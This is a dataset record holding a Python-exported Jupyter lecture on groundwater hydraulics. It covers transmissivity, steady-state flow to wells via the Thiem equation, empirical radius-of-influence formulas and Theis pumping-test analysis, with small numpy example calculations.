"max_forks_repo_head_hexsha": "deec37503ab0c5d0bcca1a035f7909f7ce8ef653", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 23.9946808511, "max_line_length": 95, "alphanum_fraction": 0.4356018621, "include": true, "reason": "import numpy", "num_tokens": 1301, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3923368301671084, "lm_q2_score": 0.12765262532179067, "lm_q1q2_score": 0.05008282638126091}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\nimport panel as pn\n\npn.extension(\"katex\")\n\n\n# # Lecture 08 - Wells*\n# \n# (_The contents are based on the class lecture materials of Prof. R. Liedl. Modifications mostly to fit this specific format were done by Prof. Liedl and Dr. P. K. Yadav._)\n# \n# ---\n# \n# ## Motivation\n# \n# In the last lecture ({doc}`/contents/flow/lecture_07/17_quantify_flow` we derived system equations for different groundwater flow problems. We realized of the difficulties associated with solving flow problems specially at higher dimensions (2D/3D). Numerical methods are mostly used for solving groundwater problems but direct (analytical) solutions are also possible for some problems. \n# \n# **Wells** are the most common and also most extensively used method of utilizing (or affecting) groundwater. Thus, _wells_ represent a very common groundwater problem. We can now use our understanding of aquifer properties and groundwater system equations to analyze effect of _wells_ on the natural groundwater flow. We will however restrict our extent, in this lecture, to problems that can be directly solved. After learning numerical methods (in last part of this course), we will apply it to evaluate more complex groundwater problems also associated with wells.\n# \n# We begin this lecture recalling groundwater storage property _transmissivity._ Introducing _wells_ we then derive few relations that can help us understand the effect of wells in groundwater flow. To conclude, we will use the _wells_ to characterize aquifers, i.e., using so called pumping test.\n# \n# (**_The contents are based on the class lecture materials of Prof. R. Liedl. Modifications mostly to fit this specific format were done by Prof. Liedl and Dr. P. K. Yadav._**)\n\n# ## Transmissivity ##\n# \n# When discussing storage properties in {doc}`/contents/flow/lecture_03/13_gw_storage`, we saw that aquifers or single layers may frequently be treated as two-dimensional systems. This is justified because the lateral extension of aquifers is usually much larger than the vertical extension. Thus, vertical variations of storage properties can be replaced by some average value without adversely affecting the quantification of groundwater storage.\n# \n# Similar things can be done with regard to conductivity properties and this brings us to the geohydraulic parameter of transmissivity ($T$,  L$^2$T$^{-1}$). The idea is to neglect vertical variations of hydraulic conductivity and to use vertically averaged values instead. This procedure does not eliminate horizontal variability, so transmissivity may still depend on horizontal coordinates  $(x, y)$.\n# \n# The vertically averaged $K$ value is then multiplied by the water-saturated thickness to obtain transmissivity. The concept of water-saturated thickness (or water-saturated depth) requires to distinguish whether _confined_ or _unconfined flow_ conditions prevail.\n# \n# In general, water-saturated thickness is the distance from the aquifer bottom to a level up to which all pores are filled with water. For _confined aquifers,_ this level is equal to aquifer top and water-saturated thickness is tantamount to aquifer thickness. For _unconfined aquifers,_ however, water-saturated thickness corresponds to the distance between aquifer bottom and groundwater level. We will see some illustrations below when we try to quantify transmissivity.\n# \n# Let us have a closer look at the confined case first. The black cuboid in {numref}`Trans_c_2D`  illustrates that water-saturated thickness extends from aquifer bottom to aquifer top. So, it is equal to aquifer thickness $m$. Transmissivity is calculated by $T_x = K_x \\cdot m$ and $T_y = K_y \\cdot m$. Here we allow for horizontal aquifer anisotropy with different hydraulic conductivities in $x-$ and $y-$ direction $(K_x\\neq K_y)$. For horizontally isotropic aquifers $(K_x = K_y = K)$, transmissivity is given by $T = K \\cdot m$.\n# \n# ```{figure} images/L08_f1.png\n# ---\n# scale: 40%\n# align: center\n# name: Trans_c_2D\n# ---\n# The transmissivity cuboid in confined aquifer.\n# ```\n# Things are a bit more complicated for unconfined aquifers.  {numref}`Trans_u_2D` illustrates that water-saturated thickness extends from the aquifer bottom to the groundwater table. It is important to note that transmissivity of unconfined aquifers depends on the vertical position of the groundwater table. For instance, if the groundwater table is lowered during to a draught period, transmissivity is decreasing. This is fundamentally different from the confined case where the water-saturated thickness is given by aquifer geometry only and is not affected by hydraulic head changes.\n# \n# ```{figure} images/L08_f2.png\n# ---\n# scale: 40%\n# align: center\n# name: Trans_u_2D\n# ---\n# The transmissivity cuboid in unconfined aquifer.\n# ```\n# \n# Computing transmissivity of unconfined aquifers requires to determine the difference of hydraulic head h and the elevation of aquifer bottom $z_{bot}$. Based on this, transmissivity is given by $T_x = K_x\\cdot(h - z_{bot})$ and $T_y = K_y\\cdot(h - z_{bot})$. As above, we are allowing for horizontal aquifer anisotropy. For an isotropic unconfined aquifer we get $T = K\\cdot(h - z_{bot})$.\n\n# Two more remarks appear to be appropriate: First, transmissivity may be computed by the given equations even if the aquifer bottom is not horizontal. This case is not covered by the {numref}`Trans_u_2D`. Second, textbooks frequently present the equation **$T = K\\cdot h$** for transmissivity of unconfined aquifers. It is to be noted that this equation only holds if two conditions are fulfilled: \n# \n# ```{admonition} Required conditions when $T = K\\cdot h$ is valid\n# :class: note\n# 1. The aquifer bottom must be horizontal, and \n# \n# 2. hydraulic head values are expressed with respect to the elevation of aquifer bottom (= reference datum).\n# ```\n# Finally, we can try to compute transmissivity for isotropic aquifers and check how the result depends on several quantities like aquifer bottom, aquifer top, and hydraulic head.\n\n# ### Example problem  ###\n# \n# ```{admonition} Transmissivity\n# Find if the aquifer is confined or unconfined, and then calculate transmissivity of the aquifer.\n# ```\n\n# In[2]:\n\n\n#print(\"\\n\\033[1m Provided are:\\033[0m\\n\") # \\033[1m \\033[0m bold font, \\n - new line\n\nK_a = 8.5e-05 # m/s, Hydraulic conductivity \nZ_bot = 120 # m, aquifer bottom \nZ_top = 150 # m, aquifer top\nh_a   =  139 # m, hydraulic head in aquifer\n\n# interim calculation\nA_t = Z_top-Z_bot # m, Aquifer thickness\nA_wt = h_a - Z_bot # m, water_table level\nS_t = min(A_t, A_wt) # m, saturated thickness\n\n# result\nif h_a<Z_top:\n    print(\"It is Unconfined Aquifer \\n\") \nelse: \n    print(\"It is Confined Aquifer \\n\") \n\nT_a = K_a*S_t # m^2/s, transmissivity\n\nprint(\"The required transmissivity is {0:1.2e}\".format(T_a), \"m\\u00b2/s\")\n\n\n# ## Wells - Overview ##\n# \n# ### What is a Well? ###\n# \n# A **well** is a shaft or a hole that has been sunk, dug or drilled into the earth to extract water (source: [Glossary of Hydrology](https://hydrologie.org/glu/HINDEN.HTM)).\n# \n# ```{figure} images/L08_f3.png\n# ---\n# scale: 50%\n# align: center\n# name: Well\n# ---\n# Well and its components.\n# ```\n# \n# ### Using wells ###\n# \n# Wells are very extensively used around the globe. The contents below only highlights few of the use of wells.\n# \n# ```{margin} \n# <img src=\" images/L08_f4.png\" alt=\"gw-sediment\" class=\"bg-primary\" width=\"300px\">\n# ```\n# \n# > Water supply: e.g., for households, agriculture, industry\n# \n# > Lowering the groundwater level: e.g., for excavations, open-pit mining\n# \n# > Remediation of aquifer contamination: e.g., applying pump and treat method.\n# \n# > Aquifer characterisation: e.g., using pumping test (this lecture)\n# \n# Apart from aquifer characterisation, wells are usually operated at steady-state i.e., at constant pumping rate. The figure below presents different uses of wells. {numref}`Well-ex` shows the case of lowering the groundwater level at the excavation site. The lowering is very often observed at the works that requires sub-surface construction works, e.g., high-rise building, tunnels. For this wells are placed close to excavation works and water is pumped out at higher discharge rates compare to the groundwater replenishing rate. This leads to decline of water level at the excavation site.\n# \n# ```{figure} images/L08_f5.png\n# ---\n# scale: 40%\n# align: center\n# name: Well-ex\n# ---\n# Well at the excavation site\n# ```\n# \n# {numref}`Well-refuse` presents the case of using wells to delineate contamination site from the groundwater. These are part of the development of sanitary landfills sites or industries that pose threat to groundwater quality. Wells are used to lower groundwater table such that seepage of refuse is contained in the limited region.\n# \n# ```{figure} images/L08_f6z.png\n# ---\n# width: 30 cm\n# height: 8 cm\n# align: center\n# name: Well-refuse\n# ---\n# Well at the refuse site\n# ```\n\n# ### Fully versus Partially Penetrating Wells ###\n# \n# Fully penetrating wells:\n# : The fully penetrating wells are those which extends through the whole saturated depth of an aquifer and are constructed in such a manner that water is permitted to the well screen over its length [Glossary of Hydrology](https://hydrologie.org/glu/HINDEN.HTM)). \n# \n# {numref}`full-pen` shows a schematic of water flow in a fully penetrating wells. \n# \n# ```{figure} images/L08_f7x.png\n# ---\n# scale: 40%\n# align: center\n# name: full-pen\n# ---\n# Flownet in a fully penetrating wells\n# ```\n# \n# Partially penetrating Wells:\n# : The partially penetrating Wells are those in which the length of water entry is less than the thickness of the saturated aquifer which it penetrates ([Glossary of Hydrology](https://hydrologie.org/glu/HINDEN.HTM)). \n# \n# Partially penetrating wells are constructed when aquifer depths are very high; in which case a fully penetrating well may not also be economical. {numref}`par-pen` presents a schematic of a flownet that is likely to be observed in the partially penetrating well.\n# \n# ```{figure} images/L08_f7y.png\n# ---\n# scale: 40%\n# align: center\n# name: par-pen\n# ---\n# Flownet in a partially penetrating wells\n# ```\n# \n# Comparing the Flownets in {numref}`full-pen` and {numref}`par-pen`, it can be observed that the vertical flow components can be significant in the partially penetrating case. This then lead to a 3D groundwater problem compared to the fully penetrating case, which can be treated as 2D groundwater problem as vertical flow component has limited effect.  \n# \n# This course we will deal only with the fully penetrating steady-state cases.\n# \n\n# ## Groundwater Flow Near Wells Operated at Steady State ## \n# \n# As stated earlier wells are mostly operated under steady-state condition. Here will attempt to quantify the case. We will first attempt to identify the most relevant problems associated with the steadily pumping wells and then define our approach to solve them. The **two** most important points that need to be addressed here  are:\n# \n# > Which relevant quantities are needed to describe steady-state flow\n# towards a well?\n# \n# > What is the quantitative relationship between the hydraulic\n# parameters under steady-state conditions?\n# \n# To answer the above questions, we follow the following approach:\n# \n# > Find an appropriate way to apply the _law of continuity_\n# (conservation of volume) and _Darcy\u2018s law._\n# \n# > We delineate the problem, e.g., study the _confined_ and the _unconfined_ cases separately.\n# \n\n# ### Cone of Depression in a Confined Aquifer ###\n# \n# A **cone of depression** (or drawdown cone) will result when the well pumps groundwater groundwater is pumped from the well. {numref}`cone-con-un` presents the schematic with relevant quantities of a well pumping case in both confined and unconfined aquifers. In both cases the well is fully penetrating. As can be understood from the figure that in the unconfined case the drawdown ($s$) magnitude depends on the water table level. This in the case of confined aquifer is dependent on the hydraulic head.\n# \n# \n# ```{figure} images/L08_f8-9.png\n# ---\n# scale: 25%\n# align: center\n# name: cone-con-un\n# ---\n# Cone of depression in a (a) confined Aquifer and (b) unconfined aquifer (right)\n# ```\n# \n# ```{margin} Relevant quantities in the figure:\n# + pumping rate $Q$ [L$^3$T$^{-1}$]\n# % free space\n# + aquifer thickness $m$ [L]\n# % free space\n# + hydraulic conductivity $K$ [LT$^{-1}$]\n# % free space\n# + water level at rest $H$ [L]\n# % free space\n# + water-level in the well $h$ [L]\n# % free space\n# + Radius of influence $R$ [L]\n# % free space\n# + well radius $r_w$ (incl. gravel pack!)[L]\n# % free space\n# + drawdown $s = H - h$ [L]\n# ```\n# \n# The Radius of influence ($R$) in the figure is the distance from the well at which the drawdown becomes negligible or unobservable. Thus $R$ delineates the influence of the well on the normal groundwater flow. \n# \n# #### Evolution of Cone of Depression with Time ####\n# \n# Transient models have to be used to observe the evolution of cone of depression. These are mostly only possible through use of numerical models (to be discussed in the later end of this course). The animation provides the computer simulation of evolving cone of depression as a function of time. From the figure it is easier to obtain the radius of influence ($R$). It is to be noted that $R$ will be maximum at the steady-state condition. \n\n# In[3]:\n\n\nvideo1 = pn.pane.Video(\"images/L08_f9X.mp4\", width=400, height=150, loop=False)\nspacer = pn.Spacer(width=50)\nimage = pn.pane.PNG(\"images/L08_f9Y.png\", width=200)\npn.Row(video1, spacer, image)\n\n\n# ### Law of Continuity ###\n# \n# Next we attempt to quantify the cone of depression. For this, and it is common in any hydraulics study, we begin with the _Law of Continuity._ Overall law of continuity implies:\n# \n# ```{admonition} Law of Continuity\n# Discharge $Q_w = $ constant\n# ```\n# \n# ```{figure} images/L08_f10X.png\n# ---\n# scale: 40%\n# align: center\n# name: law-cont\n# ---\n# Graphic visualization of Law of quantity.\n# ```\n# \n# This, also seen in {numref}`law-cont`, implies that the pumping rate $Q$ corresponds to the discharge $Q_w$ near the well. Further, under steady-state conditions the law of continuity\n# implies that there is the same discharge at all cross sections which\n# completely surround the well (\"mantle of a cylinder\").\n# \n# ### Darcy's Law for Flow Towards a Well in a Confined Aquifer ###\n# \n# The Darcy's law, as we have known so far,  relates the Darcy's velocity $v_f$ and the hydraulic gradient $i$. If the hydraulic gradient was constant in space, the hydraulic gradient would be (also see {numref}`law-cont` )\n# \n# $$\n# i = \\frac{\\Delta h}{\\Delta r}\n# $$\n# \n# where, $r$ represents the radial distance from the well axis. In this case the hydraulic gradient $i$ depends on the distance $r$ within a cone of depression {numref}`law-cont`). Qualitatively, it can be understood that $i$ is decreasing with increasing distance from the well. Since the hydraulic gradient is not constant in space, the ratio $\\frac{\\Delta h}{\\Delta r}$ has to be replaced by\n# \n# $$\n# i(r) = \\frac{\\textrm{d} h (r)}{\\textrm{d} r} \\tag{C1}\n# $$\n# \n# With this defined, the Darcy's law should be expressed as function of $r$ as\n# \n# $$\n# v_f (r) = - K\\cdot i(r) = - K \\cdot \\frac{\\textrm{d} h (r)}{\\textrm{d} r} \\tag{C2}\n# $$\n# \n# And, now introducing the continuity equation we obtain:\n# \n# $$\n# Q_w = A\\cdot v_f (r) = - K\\cdot i(r) = - K \\cdot A\\cdot\\frac{\\textrm{d} h (r)}{\\textrm{d} r} \\tag{C3}\n# $$\n# \n# with $A$ is the area of a cross section at distance $r$ from the well axis. Therefore $A$ is\n# \n# $$\n# A = 2\\cdot \\pi \\cdot r \\cdot m \\tag{C4}\n# $$\n# \n# $A$ is now inserted to eq. (C3), This results to\n# \n# $$\n# Q_w =  - 2\\cdot \\pi \\cdot r \\cdot m \\cdot K \\cdot \\frac{\\textrm{d} h (r)}{\\textrm{d} r} \\tag{C5}\n# $$\n# \n# ```{margin} \n# <img src=\"images/L08_f8.png\" alt=\"Confined Aquifer\" class=\"bg-primary\" width=\"400px\">\n# ```\n# \n# Eq (C5) is a first-order differential equation for hydraulic head $h(r)$. It can be solved by separation of variable. Doing that eq. (C5) becomes\n# $$\n# \\textrm{d}h(r) = \\frac{Q_w}{2\\cdot \\pi \\cdot m \\cdot K }\\cdot \\frac{\\textrm{d}r}{r} \\tag{C6}\n# $$\n# \n# We now integrate eq. (C6). The limit of integration (see figure) along the vertical direction ($h$) will be from $h$ to $H$, and that along the radial axis will be from $r_w$ and $R$, i.e., we get\n# \n# $$\n# \\int\\limits_h^H\\textrm{d}h(r) = \\frac{Q_w}{2\\cdot \\pi \\cdot m \\cdot K }\\cdot \\int\\limits_{r_w}^R\\frac{\\textrm{d}r}{r} \\tag{C7}\n# $$\n# \n# The integrals in eq. (C7) are direct integrals and can be obtained from the table of integrals. The eq. (C7) with the indefinite integrals is thus\n# \n# $$\n# \\big[h(r)\\big]_h^H = - \\frac{Q_w}{2\\cdot\\pi\\cdot m \\cdot K}\\cdot \\big[\\ln r\\big]_{r_w}^R \n# $$\n# \n# after inserting the limits of integration, we get\n# \n# $$\n# H - h = - \\frac{Q_w}{2\\cdot\\pi\\cdot m \\cdot K}\\cdot (\\ln R - \\ln r_w) \\tag{C8}\n# $$\n# \n# Finally, we can solve for the discharge $Q_w$ and obtain\n# \n# $$\n# Q_w = - \\frac{2\\cdot\\pi\\cdot m \\cdot K \\cdot (H-h)}{(\\ln R - \\ln r_w)}\\tag{C9}\n# $$\n# \n# The **negative** sign on the right-hand side of eq. (C9) indicates that flow is anti-parallel to the direction of the coordinate axis. Frequently, the pumping rate $Q$ is used instead of $Q_w$ and the negative sign is omitted. Thus we get a well known solution called Theim equation after Thiem (1906)<sup>[^Theim]</sup>\n# \n# ````{panels}\n# :container: container pb-4\n# :column: col-lg-8 p-2\n# \n# **The discharge from the well in confined aquifer after Thiem (1906)**\n# ^^^\n# $$\n# Q = \\frac{2\\cdot\\pi\\cdot m \\cdot K \\cdot (H-h)}{(\\ln R - \\ln r_w)}  =  \\frac{2\\cdot\\pi\\cdot m \\cdot K \\cdot (H-h)}{\\ln (R/r_w)}\n# $$\n# ````\n# \n# with decadic logarithm, we get,\n# \n# $$\n# Q_w = \\frac{2\\cdot\\pi\\cdot m \\cdot K \\cdot (H-h)}{2.3\\cdot(\\log R - \\log r_w)}  =  \\frac{2\\cdot\\pi\\cdot m \\cdot K \\cdot (H-h)}{2.3 \\cdot\\log (R/r_w)}\n# $$\n# \n# [^Theim]: Thiem, G. (1906), _Hydrologische Methoden_, 56 pp., Gephardt, Leipzig, Germany.\n\n# ### Example problem  ###\n# \n# ```{admonition} Well discharge from confined aquifer\n# From the provided data, calculate the transmissivity of the aquifer.\n# ```\n\n# #### Solution ####\n# \n# For confined aquifer $T = K\\cdot m$, the Thiem equation can be modified as:\n# \n# $$\n# Q = \\frac{2\\cdot\\pi\\cdot T \\cdot (H-h)}{\\ln (R/r_w)}\n# $$\n\n# In[4]:\n\n\nprint(\"\\n\\033[1m Provided are:\\033[0m\\n\")\n\nQ = 9 # m^3/min, Given discharge\nr1 = 8 # m, distance from well to point 1\nh1 = 9 # m, head at well 1\nR2 = 22 # m, distance from well to point 2\nH2 = 10 # m, head at well 2\n\nprint(\" The given dscharge is: {}\".format(Q), \"m\\u00b3/min \\n\")\nprint(\" The distance to Well 1 and well 2 are: {}m and {}m  \\n\".format(r1, R2))\nprint(\" The head at Well 1 and well 2 are: {}m and {}m\".format(h1, H2))\n\n#interim calculation \nQ_min = Q * 1440 # m^3/d\n\n#Calculation\n\nT = Q/(2*np.pi*(H2-h1))*np.log(R2/r1) # m^2/d, Transmissivity - inverting Theim equation\n\nprint(\"\\n\\033[1m Result:\\033[0m\\n\")\nprint(\"The transmissivity in the aquifer is {0:0.2f} m\\u00b2/d\".format(T)) \n\n\n# ## Flow Towards a Well in an Unconfined Aquifer ##\n# \n# In the unconfined aquifer, the hydraulic head is function of $r$. Thus the discharge in the aquifer:\n# \n# $$\n# Q_w = A \\cdot v_f = - A \\cdot K \\frac{\\textrm{d}h}{\\textrm{d}r}(r) \\tag{U1}\n# $$\n# \n# ```{margin} \n# <img src=\"images/L08_f9.png\" alt=\"Unconfined Aquifer\" class=\"bg-primary\" width=\"400px\">\n# ```\n# Also in this case, the cross section area $A$ also is dependent on $r$, i.e.,\n# \n# $$\n# A = 2 \\cdot \\pi \\cdot r \\cdot h(r) \\tag{U2}\n# $$\n# \n# Next, we insert eq (U2) in eq. (U1) and get\n# \n# $$\n# Q_w = A \\cdot v_f = - 2 \\cdot \\pi \\cdot r \\cdot h(r)  \\cdot K \\frac{\\textrm{d}h}{\\textrm{d}r}(r) \\tag{U3}\n# $$\n# \n# Eq. (U3) is a first-order differential equation for hydraulic head $h(r)$, and it can be solved by separation of variables. Separating the variables of eq. (U3) leads to\n# \n# $$\n# h(r) \\cdot \\textrm{d}h(r) = - \\frac{Q_w}{2 \\cdot \\pi \\cdot K }\\cdot \\frac{\\textrm{d}r}{r} \\tag{U4}\n# $$\n# \n# Next we integrate eq. (U4) from limits $r_w$ to $R$ in the right-hand side, and from $h$ to $H$ (left-hand side), i.e.,\n# \n# $$\n# \\int\\limits_h^H h(r) \\cdot \\textrm{d}h(r) = - \\frac{Q_w}{2 \\cdot \\pi \\cdot K }\\cdot \\int\\limits_{r_w}^{R}\\frac{\\textrm{d}r}{r} \\tag{U5}\n# $$\n# \n# The integral in eq. (U5) can be obtained from the standard table of integrals. With that we get\n# \n# $$\n# \\frac{1}{2}(H^2 - h^2) = - \\frac{Q_w}{2 \\cdot \\pi \\cdot K }\\cdot (\\ln R - \\ln r_w) \\tag{U6}\n# $$\n# \n# The discharge in aquifer $Q_w$ can be obtained from eq. (U6) and the expression is\n# \n# $$\n# Q_w = -\\frac{\\pi\\cdot K \\cdot (H^2-h^2)}{\\ln R - \\ln r_w}\\tag{U6}\n# $$\n# \n# The negative sign on the right-hand side of the eq. (U6) indicates that flow is anti-parallel to the orientation of the coordinate axis. Frequently, the pumping rate $Q$ is used instead of $Q_w$ and the negative sign can thus be \n# omitted, and we get\n# \n# ````{panels}\n# :container: container pb-4\n# :column: col-lg-10 p-2\n# \n# **Discharge $Q$ from well in unconfined aquifer modified from Thiem (1906)**\n# ^^^\n# $$\n# Q_= \\frac{\\pi\\cdot K \\cdot (H^2-h^2)}{\\ln R - \\ln r_w} = \\frac{\\pi\\cdot K \\cdot (H^2-h^2)}{\\ln (R/r_w)}\n# $$\n# ````\n# \n# In the decadic logarithm, the discharge from the well is:\n# \n# $$\n# Q_= \\frac{\\pi\\cdot K \\cdot (H^2-h^2)}{2.3(\\log R - \\log r_w)} = \\frac{\\pi\\cdot K \\cdot (H^2-h^2)}{2.3\\log (R/r_w)}\n# $$\n\n# ### Example problem  ###\n# \n# ```{admonition} Well discharge from unconfined aquifer\n# From the provided data, calculate discharge of the aquifer.\n# ```\n\n# In[5]:\n\n\nprint(\"\\n\\033[1m Provided are:\\033[0m\\n\")\n\nK = 24.50 # m/d, conductivity\nr_1 = 0.23 # m, distance from well to point 1\nh_1 = 12 # m, head at well 1\nR_2 = 275 # m, distance from well to point 2\nH_2 = 18 # m, head at well 2\n\nprint(\" The given conductivity is: {}\".format(K), \"m/d \\n\")\nprint(\" The distance to Well 1 and well 2 are: {} m and {} m are \\n\".format(r_1, R_2))\nprint(\" The head at Well 1 and well 2 are: {} m and {} m\".format(h_1, H_2))\n\n#Calculation\n\nQ_1 = (np.pi*K*(H_2**2-h_1**2))/(np.log(R_2/r_1)) # m^2/d, Transmissivity - inverting Theim equation\n\nprint(\"\\n\\033[1m Result:\\033[0m\\n\")\nprint(\"Discharge from the well is {0:0.2f} m\\u00b3/d\".format(Q_1)) \n\n\n# ### Radius of Influence ### \n# \n# The radius of influence ($R$) can also (instead of using numerical simulations) be obtained from empirical equations. The table below provides a list of few equations.\n# \n# ```{margin} The symbols in equations are:\n# + $s$ = drawdown in pumping well, \n# + $t$ = pumping time, \n# + $N$ = groundwater recharge, \n# + $S$ = storage coefficient, \n# + $K$ = hydraulic conductivity, \n# + $H$ = water level at rest (unconfined aquifer).\n# \n# In confined aquifers, $H$ has to be replaced by the aquifer thickness $m$.\n# ```\n# \n# | Source                             |   | Equation                                  |\n# |------------------------------------|---|-------------------------------------------|\n# | Lembke (1886, 1887)                |   | $R = H (K/2\\cdot N)^{1/2}$                |\n# | Weber (Schultze, 1924)             |   | $R = 2.45 (H\\cdot K\\cdot t/S)^{1/2}$      |\n# | Kusakin (Aravin and Numerov, 1953) |   | $R = 1.9 (H \\cdot K \\cdot t/s)^{1/2}$     |\n# | Siechardt (Certousov, 1962)        |   | $R = 3000\\cdot s \\cdot K^{1/2}$           |\n# | Kusakin (Certousov, 1949)          |   | $R = 575\\cdot s \\cdot (H \\cdot K)^{1/2} $ |\n# \n# \n# **Siechardt** and **Kusakin** equation are among the preferred equations by practitioners. In both equations, $K$ has to be expressed in _m/s_ and all other quantities must be expressed in _m._ _R_ depends on drawdown $s= H-h$ in both equations. Trial and error or iterative strategies have to be used to determine $R$ and $h$.\n# \n# \n\n# ## Aquifer Characterisation by Pumping Tests ## \n# \n# Pumping tests are used to estimate aquifer properties such as hydraulic conductivity $(K)$, transmissivity $(T)$ or storativity $(S)$. Pumping results in an evolving cone of depression as was discussed earlier (see {numref}`cone-con-un`). The decrease in hydraulic head (or increase in drawdown) with time is recorded in one or more observation wells (and sometimes also in the pumping well itself).\n# \n# ```{margin}\n# <img src=\"images/L08_f13.png\" alt=\"Theis\" class=\"bg-primary\" width=\"200px\">\n# ```\n# \n# A variety of different schemes exist to evaluate pumping test data. The appropriate method has to be selected according to the specific setting (confined or unconfined, layered system, horizontal or inclined aquifer bottom etc.). A well known approach to derive $T$ and $S$ from pumping test data was developed by Theis (1935)<sup>[^Theis]</sup>\n# \n# ### Applicability of the Theis Method ###\n# \n# Pumping test data can be evaluated according to Theis (1935) if the following assumptions are (approximately) justified: \n# \n# + The aquifer is confined, homogeneous and isotropic.\n# %\n# + The aquifer thickness is uniform.\n# %\n# + The aquifer bottom is horizontal.\n# %\n# + The well is fully penetrating.\n# %\n# + The well radius is very small as compared to the radius of influence.\n# %\n# + The pumping rate is constant within the measurement period.\n# %\n# + There is no vertical flow component.\n# %\n# + The evolution of the cone of depression is not influenced by other hydraulic factors (surface water, impermeable boundaries etc.). \n# \n# [^Theis]: Theis, C.V., 1935. The relation between the lowering of the piezometric surface and the rate and duration of discharge of a well using groundwater storage, Am. Geophys. Union Trans., vol. 16, pp. 519-524.\n\n# ### Drawdown According to Theis (1935) ###\n# \n# Theis (1935) deals with the transient flow (as opposed to steady-state methods discussed above) of water to a pumping well. The time-dependent drawdown $s$ in an observation well, which is a distance $r$ apart from the pumping well, is given by\n# \n# ```{margin}\n# + $s$ is drawdown [L]\n# %\n# + $Q$ is pumping rate [L$^3$T$^{-1}$]\n# %\n# $T$ is transmissivity [L$^2$T$^{-1}$]\n# %\n# $W(u)$ is the well function\n# ```\n# \n# $$\n# s(r,t) = \\frac{Q}{4\\pi T}\\cdot W(u) \\tag{T1}\n# $$\n# \n# where, $W(u)$ is the well function, which is given as\n# \n# $$\n# W(u) = \\int\\limits_u^\\infty \\frac{\\textrm{e}^{-\\widetilde{u}}}{\\widetilde{u}}\\textrm{d}\\widetilde{u}\n# $$\n# \n# in which $u$ is defined by\n# \n# $$\n# u = \\frac{Sr^2}{4Tt} \\tag{T2}\n# $$\n# \n# where $S$ [-] is storage coefficient. For application Eq (T1) and eq. (T2), these equation are log-transformed. Eq (T1) then becomes\n# \n# $$\n# \\log s(r,t) = \\log \\frac{Q}{4\\pi T}\\cdot \\log W(u) \\tag{T3}\n# $$\n# \n# and upon log-transformation and rearrangement of eq. (T2) results to\n# \n# $$\n# \\log \\frac{t}{r^2} = \\log\\frac{S}{4T} + \\log\\frac{1}{u} \\tag{T4}\n# $$\n# \n# These two equations are used to derive $T$ and $S$ from drawdown data. This can either be done by applying special computer software or manually by a graphical method, which is discussed next.\n# \n\n# ### Manual Comparison of Data and Type Curve ### \n# \n# Theis (1935) provides a graphical approach to use the  Theis equation. The following steps are to be followed for using the graphical approach:\n# \n# + The logarithm of drawdown ($\\log s$) is plotted against the $\\log(t/r^2)$ in the data sheet\n# \n# + The logarithm of the well function $(\\log W(u))$ is plotted against $\\log (1/u)$ in a type curve sheet. \n# \n# ```{sidebar} Type Curve and Data sheet\n# <img src=\"images/L08_f11.png\" alt=\"Type-Curve\" class=\"bg-primary\" width=\"1000px\">\n# ```\n# \n# + Both sheets are put on top of each other such that the data coincide with some part of the type curve.\n# \n# + The shifts along the vertical and the horizontal axes correspond to the constant terms in the equations\n# \n# $$\n# \\log s = \\log\\frac{Q}{4\\cdot \\pi \\cdot T} + \\log W(u)\n# $$\n# \n# $$\n# \\log \\frac{t}{r^2} = \\log\\frac{S}{4 T} + \\log \\frac{1}{u} \n# $$\n# \n# + The constant term in the upper equation ($\\log\\frac{Q}{4\\cdot \\pi \\cdot T}$) can then be solved for $T$.\n# \n# + Finally, the constant term $(\\log\\frac{S}{4 T})$ in the lower equation can be used to solve for $S$.\n# \n# ```{important}\n# The Type curve is independent from aquifer properties.\n# ```\n\n# ### Example  ###\n# \n# ```{admonition} Using Type curve\n# For the provided pumping data, find the Transmissivity and Storage coefficient when the steady-discharge was 26.7 L/s.\n# ```\n\n# #### Solution ####\n# \n# The practical application of the Theis method is facilitated by selecting a match point in the range of the data such that corresponding values $W_A$\n# and $1/u_A$ are \"simple\".\n# \n# <img src=\"images/L08_f14.png\" alt=\"Type-Curve-Example\" class=\"bg-primary\" width=\"600px\">\n# \n# In the example:\n# \n# $$\n# W_A = 10^0 = 1\n# $$\n# \n# $$\n# 1/u_A = 10^2 = 100\n# $$\n# \n# Next, values for $s$ and $t/r^2$ at the match points are determined. In this example:\n# \n# $$\n# S = 0.2\n# $$\n# \n# $$\n# t/r^2 = 0.57\n# $$\n# \n# Next, we obtain $T$ from $T = \\frac{Q}{4\\cdot\\pi\\cdot s }\\cdot W_A$. For $Q = 26.7$ L/s, we obtain $T = 1.06 \\cdot 10^{-2} $ m<sup>2</sup>/s. Finally, $S$ is obtained from $S = \\frac{4 T\\cdot t/r^2}{1/u_A}$. In this example:\n# $S = 2.42 \\cdot 10^{-4}$\n\n# ### Computer-Based Comparison of Data and Type Curve ###\n# \n# The data in the type-curve can now easily be fitted using computer simulations. The {numref}`Type-Cur-com` is from the {doc}`/contents/tutorials/tutorial_07/tutorial_07`. The simulation tool {doc}`/contents/tools/type_curve_fit` provided can be used to fit user data to the type curve. \n# \n# ```{figure} images/L08_f15.png\n# ---\n# scale: 20%\n# align: center\n# name: Type-Cur-com\n# ---\n# Computationally fitted data to the Type curve\n# ```\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "b8ab95ddb12b5f09ea2ce375a66d3b25f390194c", "size": 29726, "ext": "py", "lang": "Python", "max_stars_repo_path": "_build/jupyter_execute/contents/flow/lecture_08/18_wells.py", "max_stars_repo_name": "prabhasyadav/iGW-I", "max_stars_repo_head_hexsha": "eba32830f32f1109a7bee600c65832af0e7183fa", "max_stars_repo_licenses": ["CC-BY-4.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "_build/jupyter_execute/contents/flow/lecture_08/18_wells.py", "max_issues_repo_name": "prabhasyadav/iGW-I", "max_issues_repo_head_hexsha": "eba32830f32f1109a7bee600c65832af0e7183fa", "max_issues_repo_licenses": ["CC-BY-4.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "_build/jupyter_execute/contents/flow/lecture_08/18_wells.py", "max_forks_repo_name": "prabhasyadav/iGW-I", 